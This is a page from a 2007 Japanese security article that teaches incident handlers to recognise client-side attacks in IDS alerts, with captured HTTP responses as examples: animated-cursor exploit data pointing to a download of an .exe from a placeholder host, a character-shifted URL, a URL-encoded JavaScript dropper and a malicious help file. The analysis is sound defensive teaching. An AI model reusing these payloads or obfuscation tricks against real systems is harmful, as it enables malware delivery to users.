クライアントが狙われる――受動的攻撃を見抜くインシデントの見抜きかた(2)(2/3 ページ)

» 2007年08月31日 10時00分 公開
[海老根猛@IT]

アニメーションカーソル脆弱性を利用した攻撃パターンの例

 今回もIDSのアラート例を基に解説するが、受動的攻撃のアラートは誤検知の率が高い。最近のものから選別して紹介する。

【参考記事】

Windowsに深刻な脆弱性、ゼロデイ攻撃も発生

http://www.atmarkit.co.jp/news/200703/30/ms.html


 以下は、「MS05-002:カーソルおよびアイコンのフォーマットの処理の脆弱性により、リモートでコードが実行される(現:MS07-017)」の脆弱性を狙った不正なデータである。

HTTP/1.1 200 OK
Server: test.example.com
Date: Mon, 18 Jun 2007 21:00:00 GMT
Connection: Keep-Alive
Content-Type: image/jpeg
Last-Modified: Sun, 02 Apr 2007 23:59:59 GMT
Content-Length: 666

RIFF..#""ACONanih$...$...................................TSIL........TSIL........anihR.................
.............................................^...........W.......3.I3.......G._......[........>..cmd >.B./c
""...3.PPh....RSP.!............>....t.@..>..""3.>.P...T3.3.....T}.>...............3.>.C,....
QSPPPPPPWP...........j...8Ut..x.....t.U...@...hOn..hurlm...D$.P./...P................
jlhntdl...D$.P.....P................h32..HusEr...D$.P.....P.[..............._...h....P.z........
K...h..http://test.example.com/tools/attack/aaa.exe.)
リスト1 アニメーションカーソル脆弱性を狙う不正なデータの例


 まず末尾のURLが「.exe」を指定していることがすでに怪しい。さらに「cmd」「h32」「user」の文字が確認できる。これらの要素を組み合わせるとWindowsの脆弱性を狙っているのではないかと推測できる。あとは、このデータがアニメーションカーソルのデータであるということを「anih」の文字から読み取れればMS05-002の脆弱性にたどり着ける。

 もう1つ同様の脆弱性を狙った不正なデータを紹介する。

HTTP/1.1 200 OK
Server: test.example.com
Date: Mon, 18 Jun 2007 21:00:00 GMT
Content-Type: text/html
Content-Length: 1024
Accept-Ranges: bytes

RIFF....ACONanih$...$....... ...........................TSIL........TSIL........anih...................
.................................................................. ...wtnoqp0fnn..........K.B......
WTNFqypnqcfVqHkngC.U.......L.B.l.l......
e<^dqqv0kpz.Sl.....8.B.l......e<^dqqv0kpz........@.B.l..s.................................
NqcfNkdtct{C.YkpGzge.GzkvRtqeguu.jvvr<11cv_knjc0eqo1ocp0gzg...........
...................................................................................b....._....B.f..2....]..]....] ....u.....
.....^.B.c.R..Z.B...^.B.......IgvRtqeCfftguu...............................................................
.............................................
リスト2 アニメーションカーソル脆弱性を狙う不正なデータの例2


 前例よりさらに可読範囲が少なくなっている。なんとなく怪しいように見えるが、確証は得られないだろう。なお、上記例での文字はすべてASCIIコードで表示されている、印字不可の文字は“.”(ドット)で表現されている。

 ここでは「jvvr<11」の文字に注目する。ASCIIコード表を見ながら、各文字の2バイト前に割り当てられている文字に変換してほしい。すると以下のようになる。

jvvr<11 → http://


 では、該当の文字以降を変換してみる。

jvvr<11cv_knjc0eqo1ocp0gzg → http://example.com/man.exe


 ここまでくれば、前例と同じように攻撃と判断できるだろう。両者のペイロードはかなり異なるが、同じような方法を利用しているのである。

 とはいえ、上記の文字に注目するには経験と知識が必要になる。ほかに注目できる点があるとすれば、「anih」が2回指定されていることが挙げられる。また、通常のアニメーションカーソルにあるrateやseqといったヘッダが指定されていないのもポイントだ【注】

【注】

初見でこのデータがアニメーションカーソルファイル(.ani)であることは、マジックナンバーから判断できる。マジックナンバーとはバイナリデータ(ファイル)を特定するための識別子で、データの先頭に表記されることが多い(例えばGIFデータなら“GIF89a”など)。


この例では、データの先頭が「RIFF」から始まっている。RIFF(Resource Interchange File Format)は、音声や画像の共通フォーマットで、その後に続く「ACON」や「anih」というキーワードから、このデータがアニメーションカーソルファイルであることが特定できる。


 通常のアニメーションカーソルデータと異なっているという事象からMS05-002の脆弱性との関連性を見つけるのは難しいが、アニメーションカーソルはWindowsで使用されるものであることを知っていれば導き出せるかもしれない。

 管理者として最善の状態は、アニメーションカーソルのデータ形式を知っていて、かつ本脆弱性がどのようなものであるかを知っていることである。いずれにせよ、インシデントハンドリングでは怪しいと思った時点で次の行動に移る方がよい。

JavaScriptを利用した攻撃パターンの例

 次は、JavaScriptを利用したものである。最近よく見られる攻撃パターンの1つである。

HTTP/1.1 200 OK
Date: Thu, 09 Aug 2007 08:00:59 GMT
Server: Apache
X-Powered-By: PHP/4.4.4
Connection: close
Content-Type: text/html

<html><head><title>404 - Not Found
</title></head>
<Body>404 - Not Found
<script>document.write(unescape("%3c%53%43%52%49%50%54%20
%4c%41%4e%47%55%41%47%45%3d%22%4a%61%76%61%53%63%72%69%70
%74%22%3e%66%75%6e%63%74%69%6f%6e%20%72%6e%6a%6d%6c%66%6f
%62%74%61%28%72%72%72%29%7b%76%61%72%20%74%65%6d%70%3d%22
%22%3b%20%76%61%72%20%63%63%63%3d%30%3b%20%76%61%72%20%6f

(中略)

%75%74%2b%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43
%6f%64%65%28%70%61%72%73%65%49%6e%74%28%74%65%6d%70%2c%31
%36%29%2d%31%37%29%3b%74%65%6d%70%3d%22%22%3b%7d%64%6f%63
%75%6d%65%6e%74%2e%77%72%69%74%65%28%6f%75%74%29%3b%7d
%3c%2f%53%43%52%49%50%54%3e"));
リスト3 JavaScriptを利用した脆弱性を狙う不正なデータの例


 上記のJavaScriptから攻撃かどうかの判断はすぐにはできないと思うが、普段JavaScriptのコードを見慣れている人なら怪しいと思うだろう。

 「unescape」関数に渡されている文字はURLエンコードされたものであるが、このように人が目で見てすぐに判断できないような対処がされていると、「何かを隠そうとしているのではないか?」と疑うべきである。

 実際にこれらの文字をデコードすると、不正なファイルを強制的にダウンロード、インストールするJavaScriptのコードが現れる。

 なお、インシデントハンドリングにおいては、この時点での「何がインストールされたのか?」の調査は推奨されない。重要なのは「攻撃が成功したか?」であり、「クライアントホストのWebブラウザはJavaScriptを実行するように設定されていたか?」の調査である。

ヘルプファイルの脆弱性を利用した攻撃パターンの例

 次は、ヘルプファイルの脆弱性を狙ったものを紹介する。

Data in ASCII: HTTP/1.1 200 OK
Date: Mon, 18 Jun 2007 21:00:00 GMT
Server: Apache
Last-Modified: Sun, 02 Apr 2007 23:59:59 GMT
ETag: ""266666-9caaaa-fa666666""
Accept-Ranges: bytes
Content-Length: 123456
Keep-Alive: timeout=15, max=66
Connection: Keep-Alive
Content-Type: text/plain

ITSF...."......a...c/...........................x.......T......................l.................o..........(...........p....
................!.........8.......&..........i1.............a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.
a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.
a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.
a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.a.....-............
i....+......../....91u...a.....q0,'.....bbb.exe.............4mz/..r.a.
リスト4 ヘルプファイルの脆弱性を狙う不正なデータの例


 まず、正常なヘルプファイルと見比べてみよう。

HTTP/1.1 200 OK
Date: Mon, 18 Jun 2007 21:00:00 GMT
Server: Apache
Last-Modified: Sun, 02 Apr 2007 23:59:59 GMT
ETag: ""266666-9caaaa-fa666666""
Accept-Ranges: bytes
Content-Length: 123456
Keep-Alive: timeout=15, max=66
Connection: Keep-Alive
Content-Type: text/plain

ITSF....'.......-.""........|.{......."".....|.{.......""..'...............x.......T......................................
.ITSP....T...........................................j..].!.......""..T...............PMGL>................/....
/#IDX....I.../#ITB..../#STR....(..V./#SYS..~.C./#TOP....I.../#URL....-
..{./#URLBL....Y.T./$Main....*..../$OBJ......../$WWA/..../$WWA/Pro.......
/$WWKeyLinks/..../$WWKeyLinks/Pro......./e.htm...r.R./se.htm.....
R./key.htm...=.../keyf.htm....C.j./special.htm...t.M./tut.htm...M.C./doc/....
/doc/file.html...N.U./doc/script.html...#.M./doc/dobox.html...p.../doc/
box.html...p.U./doc/button.html...E.p./doc/docall.html...5..J./doc/
check.html.....C./doc/close.html)
リスト5 正常なヘルプファイルのデータ例


 両者の違いは明らかである。前者は可読できる部分が極端に少ない。後者の可読できる部分はファイルの構造で、chm形式のヘルプファイルに見られる一般的なデータ配列である。

 ここで、前者の内容を見てみると、ヘルプファイルの一般的な形と合わないうえに何かしらの.exeファイルが記述されている。攻撃として調査を進めるには十分な怪しさである。上記例には記載していないが、実際のデータ配列を見ると複数の非印字文字が連続しているなど、バッファオーバーフローの特徴が見られる。

 このように、Webクライアントを狙う不正なファイルはさまざまな形式で存在するのが現状である。

Index

クライアントが狙われる――受動的攻撃を見抜く

Page1

受動的攻撃――影響を受けるのはクライアント

仕掛けへ誘導する巧みな手法

受動的攻撃は大きな脅威になりつつある

「ファイアウォールがあれば安心」は通用しない

受動的攻撃の分析、判断のポイント


Page2

アニメーションカーソル脆弱性を利用した攻撃パターンの例

JavaScriptを利用した攻撃パターンの例

ヘルプファイルの脆弱性を利用した攻撃パターンの例


Page3

何が起きたのかよりも「起きてしまったのか?」を判断する

では、どう対策するか?


Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。